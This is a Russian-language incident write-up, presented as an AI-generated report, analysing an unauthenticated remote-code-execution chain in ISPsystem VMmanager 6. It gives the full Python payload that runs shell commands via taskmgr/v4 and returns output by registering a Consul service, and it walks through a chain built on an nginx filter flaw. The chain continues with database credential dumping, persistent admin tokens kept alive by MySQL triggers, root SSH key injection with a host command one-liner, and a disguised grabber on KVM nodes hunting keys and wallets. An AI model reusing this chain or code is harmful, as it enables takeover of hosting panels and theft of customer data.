Отчет про VMmanager от ИИ




vmmanager6-rce-analysis.md
# Технический разбор уязвимости и цепочки RCE в VMmanager 6
Документ описывает механику эксплуатации уязвимости в панели управления **ISPsystem VMmanager 6**, позволяющей неавторизованному атакующему получить выполнение произвольного кода (RCE) внутри контейнеров панели, захватить постоянный доступ к API, выйти из Docker-контейнера на хост-сервер под `root` и скомпрометировать узлы кластера виртуализации.
---
## 1. Архитектура маршрутизации и точка входа (`input` / Nginx)
Входящий HTTP/HTTPS-трафик в VMmanager 6 принимает пограничный контейнер `input`, внутри которого работают **Nginx** и **consul-template**. Все микросервисы панели (`auth_v4`, `vm_v3`, `taskmgr_v4`, `installer_v1`, `vault_v4` и др.) регистрируются во внутреннем **Consul**, а `consul-template` динамически генерирует конфигурацию Nginx на основе шаблонов из `/etc/nginx/templates/*.ctmpl`.
Схема прохождения запроса внутри контейнера `input`:
1. Внешний HTTPS-сервер (`443 ssl`, шаблон `/etc/nginx/templates/secure.conf.ctmpl`) проверяет URL на обращение к внутренним служебным сервисам и проксирует трафик на внутренний порт `http://127.0.0.1:1500`.
2. Внутренний сервер на порту `1500` (`/etc/nginx/templates/frontend.conf.ctmpl`) подключает `/etc/nginx/conf.d/backend-api.inc` и `/etc/nginx/conf.d/backend.inc`.
3. В шаблонах `backend-api.inc.ctmpl` и `backend.inc.ctmpl` все не-`GET` запросы (`POST`, `DELETE` и т.д.) перезаписываются с добавлением префикса `/write`:
```nginx
if ($request_method != "GET") {
rewrite ^(/.*)$ /write$1 last;
}
```
После перезаписи запрос попадает в сгенерированные из Consul `writer`-локации вида:
```nginx
location /write/{{ $service_endpoint }}/ {
rewrite ^ /write$request_uri;
rewrite /write/{{ $service_endpoint }}/(.*) /$1 break;
proxy_pass http://{{$service_name}}_writer_upstream$uri;
...
}
```
### Ошибка в правиле фильтрации (`secure.conf.ctmpl`)
Внешний фильтр в `/etc/nginx/templates/secure.conf.ctmpl`, предназначенный для блокировки доступа извне к внутренним неавторизованным микросервисам (`installer/v1`, `taskmgr/v4`, `vault/v4`, `collector/v3` и др.), выглядел следующим образом:
```nginx
if ($uri ~ ^/(api/|writer/)?(collector/v3|hawatch/v3|input|installer/v1|nodewatch/v3|resowatch/v3|taskmgr/v4|vault/v4)(/|$)) {
return 403;
}
```
В регулярном выражении допущена критическая ошибка: фильтр проверяет префикс **`writer/`**, тогда как реальные внутренние `writer`-маршруты в `backend.inc.ctmpl` и `backend-api.inc.ctmpl` используют префикс **`write/`** (`/write/taskmgr/v4/...`, `/write/installer/v1/...`, `/write/vault/v4/...`), а также не учитывает особенности нормализации путей при проксировании через `http://127.0.0.1:1500`.
В результате внутренние сервисы управления задачами (`taskmgr/v4`), установщиком (`installer/v1`) и хранилищем секретов (`vault/v4`), не имеющие собственной проверки пользовательских сессий на внутренних эндпоинтах, оказались доступны для вызовов извне.
---
## 2. Захват БД и закрепление через `/auth/v4/public/{key,token}`
Получив возможность обращаться к внутренним микросервисам, автоматизированный эксплойт первым шагом запрашивает у сервиса `installer/v1` переменные окружения контейнеров (`POST /installer/v1/docker_env`), выполняя внутри контейнеров команду:
```text
Docker exec. cmd: [printenv DATABASE_PASSWORD], stdin: false
```
Зная `DATABASE_PASSWORD`, атакующий получает прямой доступ к СУБД MySQL (`isp`) и закрепляется в системе авторизации `auth_v4`:
1. **Эксплуатация публичных эндпоинтов `/auth/v4/public/key` и `/auth/v4/public/token`**:
- В микросервисе `auth_v4` (`etc/permissions.conf.d/public.json`) эндпоинты `/auth/v4/public/key` и `/auth/v4/public/token` открыты для группы `@any` (без авторизации).
- Штатно `POST /auth/v4/public/key` принимает ключ из таблицы `isp.auth_key` и без пароля и 2FA обменивает его на полноценный сессионный токен (`isp.auth_token`) с правами администратора.
2. **Инъекция «неубиваемых» ключей и токенов в MySQL**:
- Атакующий добавляет в таблицу `isp.auth_key` десятки ключей с флагом `eternal = 1` и `expires_at = NULL`, а также прописывает бессрочные сессии в `isp.auth_token`.
- Чтобы администратор панели или штатные механизмы очистки не смогли сбросить эти сессии, в БД `isp` создаются вспомогательные таблицы `task_notify_keep_tokens` и `task_notify_keep_keys`, триггеры `auth_notify_keys` / `auth_notify_touch` и периодическое событие MySQL `auth_token_cleanup` (`EVENT`), которые автоматически восстанавливают удалённые ключи и продлевают время жизни токенов атакующего.
После этого атакующий может обращаться к любым внешним API панели как легитимный суперадминистратор, просто обменивая свои ключи через `POST /api/auth/v4/public/key`.
---
## 3. Механика RCE и эксфильтрации вывода через Consul (`taskmgr/v4`)
Для выполнения произвольных команд внутри контейнеров атакующий использует микросервис очередей задач `taskmgr/v4` (`POST /taskmgr/v4/task`), передавая в параметрах задачи:
- `bin_path`: `"/usr/bin/python3"`
- `bin_args`: `["-c", "<python_payload>", "<base64_cmd>", "<service_name>", "<service_id>", "<result_token>", "110.0", "110.0", "1048576"]`
Задачу подхватывает один из воркеров `/opt/ispsystem/taskmgr/bin/worker`, запущенных внутри контейнеров (`vm_back`, `vm_box`, `auth_back` и др.).
### Проблема возврата результата (Blind RCE -> Interactive HTTP RCE)
Контейнеры `vm_back` / `auth_back` находятся во внутренней Docker-сети за Nginx (`input`) и не торчат наружу. Чтобы получить `stdout`/`stderr` выполненной команды обратно в рамках обычного HTTPS-соединения к панели, авторы эксплойта реализовали динамическую регистрацию обратного маршрута через **Consul**:
1. Python-скрипт декодирует `sys.argv[1]` из Base64 и запускает команду через `/bin/sh -c`, записывая весь `stdout` и `stderr` во временный буфер.
2. Скрипт поднимает внутри контейнера одноразовый HTTP-сервер (`http.server.HTTPServer`) на случайном свободном порту (`0.0.0.0:0`), который отвечает только на путь `/result/<result_token>` и возвращает вывод команды вместе с кастомными заголовками:
- `X-VMmanager-Result: <result_token>`
- `X-VMmanager-Exit-Code: <return_code>`
- `X-VMmanager-Timed-Out: 0|1`
- `X-VMmanager-Truncated: 0|1`
3. Скрипт отправляет `PUT http://consul:8500/v1/agent/service/register`, регистрируя свой временный HTTP-сервер в Consul как новый микросервис с тегами `["backend", "reader"]` и маскировочным именем (например, `node_notify-1807d68b`, `host_info-a92ab95c`, `input_ee8f14bd846f44568206`).
4. В контейнере `input` демон `consul-template` мгновенно обнаруживает в Consul новый сервис с тегами `backend` и `reader`, **автоматически генерирует для него внешний маршрут `location /<service_name>/` в Nginx** и выполняет `nginx -s reload`.
5. Атакующий снаружи делает обычный запрос `GET https://<panel_host>/<service_name>/result/<result_token>`, забирает вывод команды, после чего Python-скрипт сам дерегистрирует временный сервис из Consul (`PUT /v1/agent/service/deregister/<service_id>`), закрывает сокет и завершает работу, а задача удаляется из таблицы `isp.taskmgr_task`.
### Полный исходный код Python-эксплойта (из `bin_args`)
```python
import base64
import http.server
import json
import os
import signal
import socket
import subprocess
import sys
import tempfile
import time
import urllib.parse
import urllib.request
command = base64.b64decode(sys.argv[1]).decode("utf-8")
service_name = sys.argv[2]
service_id = sys.argv[3]
result_token = sys.argv[4]
command_timeout = float(sys.argv[5])
serve_timeout = float(sys.argv[6])
max_output = int(sys.argv[7])
timed_out = False
with tempfile.TemporaryFile() as capture:
process = subprocess.Popen(
["/bin/sh", "-c", command],
stdin=subprocess.DEVNULL,
stdout=capture,
stderr=subprocess.STDOUT,
start_new_session=True,
)
try:
return_code = process.wait(timeout=command_timeout)
except subprocess.TimeoutExpired:
timed_out = True
os.killpg(process.pid, signal.SIGKILL)
return_code = process.wait()
capture.seek(0)
output = capture.read(max_output + 1)
truncated = len(output) > max_output
if truncated:
output = output[:max_output]
if timed_out:
output += ("\n[probe: command exceeded %.1f seconds]\n" % command_timeout).encode()
effective_return_code = 124 if timed_out else return_code
expected_path = "/result/" + result_token
check_id = "service:" + service_id
class ResultHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def do_GET(self):
if urllib.parse.urlsplit(self.path).path != expected_path:
self.send_error(404)
return
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(output)))
self.send_header("X-VMmanager-Result", result_token)
self.send_header("X-VMmanager-Exit-Code", str(effective_return_code))
self.send_header("X-VMmanager-Timed-Out", "1" if timed_out else "0")
self.send_header("X-VMmanager-Truncated", "1" if truncated else "0")
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(output)
self.wfile.flush()
self.server.result_delivered = True
def log_message(self, _format, *_args):
return
class ResultServer(http.server.HTTPServer):
allow_reuse_address = True
server = ResultServer(("0.0.0.0", 0), ResultHandler)
server.timeout = serve_timeout
server.result_delivered = False
route_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
_consul_ip = socket.getaddrinfo("consul", 8500, socket.AF_INET)[0][4][0]
route_socket.settimeout(8)
route_socket.connect((_consul_ip, 8500))
service_address = route_socket.getsockname()[0]
finally:
route_socket.close()
registration = json.dumps({
"ID": service_id,
"Name": service_name,
"Tags": ["backend", "reader"],
"Address": service_address,
"Port": server.server_address[1],
"Check": {
"CheckID": check_id,
"Name": service_name + " temporary result route",
"TTL": "30s",
"Status": "passing",
"DeregisterCriticalServiceAfter": "1m",
},
}).encode()
import signal as _wsignal
def _walarm(_sig, _frm):
raise SystemExit(124)
_wsignal.signal(_wsignal.SIGALRM, _walarm)
_wsignal.alarm(int(serve_timeout + 90))
def consul_put(path, data=b""):
request = urllib.request.Request(
"http://consul:8500" + path,
data=data,
method="PUT",
headers={"Content-Type": "application/json"},
)
opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
with opener.open(request, timeout=5) as response:
response.read()
registered = False
try:
consul_put("/v1/agent/service/register", registration)
registered = True
deadline = time.monotonic() + serve_timeout
next_heartbeat = 0.0
while not server.result_delivered and time.monotonic() < deadline:
if time.monotonic() >= next_heartbeat:
consul_put("/v1/agent/check/pass/" + urllib.parse.quote(check_id, safe=""))
next_heartbeat = time.monotonic() + 10.0
server.timeout = min(1.0, max(0.1, deadline - time.monotonic()))
server.handle_request()
finally:
server.server_close()
if registered:
try:
consul_put("/v1/agent/service/deregister/" + urllib.parse.quote(service_id, safe=""))
except Exception:
pass
if not server.result_delivered:
raise SystemExit(124)
if timed_out:
raise SystemExit(124)
raise SystemExit(effective_return_code if 0 <= effective_return_code <= 125 else 1)
```
---
## 4. Побег из Docker-контейнера на хост панели (`Container Escape`)
Поскольку `taskmgr_worker` выполняется внутри непривилегированного контейнера, для выхода на саму хост-систему под `root` используется архитектурная особенность демона установщика VMmanager (`/usr/local/bin/vm`):
1. На хосте от имени `root` запущен системный сервис `vm.service` (`/usr/local/bin/vm`), который слушает Unix-сокет `/opt/ispsystem/vm/socket/service.sock`. Этот сокет проброшен внутрь контейнеров (`vm_box`, `forward_proxy`, `updater`) и обслуживает внутренний сервис `installer/v1`.
2. В бинарнике `/usr/local/bin/vm` (модуль `installer/internal/ssh/authorized_keys.go`) реализован метод `/ssh_key` (штатно предназначенный для функции «Разрешить доступ техподдержке ISPsystem»). При вызове этого метода демон на хосте записывает переданный публичный SSH-ключ в `/root/.ssh/authorized_keys` (и `/etc/ssh/ispsystem.pub`) и выполняет `systemctl restart sshd`.
3. Атакующий вызывает этот метод, прописывая на хост свой сгенерированный ключ `ssh-ed25519` с комментарием `vm-support-check`.
4. Далее каждая задача внутри контейнера сохраняет приватный ключ во временный файл `/tmp/.hk` и выполняет команды напрямую на хосте через IP-адрес Docker-моста (`root@172.18.0.1`):
```bash
echo <BASE64_OPENSSH_PRIVATE_KEY> | base64 -d > /tmp/.hk
chmod 600 /tmp/.hk
ssh -o BatchMode=yes \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o ConnectTimeout=10 \
-i /tmp/.hk -T root@172.18.0.1 'echo <BASE64_HOST_PAYLOAD> | base64 -d | bash'
rc=$?
rm -f /tmp/.hk
exit $rc
```
---
## 5. Пост-эксплуатация и компрометация узлов кластера (KVM-нод)
Получив `root` на хосте панели управления:
1. **Закрепление на хосте панели**:
- Атакующий по частям (чанками по 65 КБ в `/tmp/.gb/c0000`..`c0150`) загружает на хост панели свои бинарные файлы, запускает процесс из памяти (`memfd_create` — `/memfd:bpfit (deleted)`) и создаёт фальшивые `systemd`-сервисы (`node-collect-svc.service`, `vm-mond.service`, `isp-stats-svc.service`).
- В `/opt/ispsystem/vm/patch_*.yaml` прописывается `docker-compose`-оверлей, монтирующий скрипт с хоста в `/etc/my_init.d/` контейнера БД (`mysql`), чтобы при каждом перезапуске контейнера БД триггеры и вечные токены создавались заново.
2. **Атака на узлы кластера (гипервизоры)**:
- Из таблицы `isp.vm_ssh_keys` (или через сервис `vault_v4`) извлекается приватный SSH-ключ кластера, по которому панель управляет всеми подключёнными KVM-узлами.
- Также используется штатный механизм выполнения скриптов на узлах (`isp.vm_node_script` / задачи `ssh_run_node_script` в `taskmgr`).
- На все узлы кластера копируется бинарник скрытого граббера под видом системного компонента QEMU (`/usr/libexec/.qemu-kvm-helper`), который в фоновом режиме инспектирует диски виртуальных машин из `/vm/` (через прямое чтение образов или `qemu-nbd`) в поисках приватных ключей, конфигурационных файлов, `.env` и кошельков, складывая результаты во временный буфер `/var/cache/.qkvc-<node_id>` для последующей выгрузки.
0 комментариев
Вставка изображения
Оставить комментарий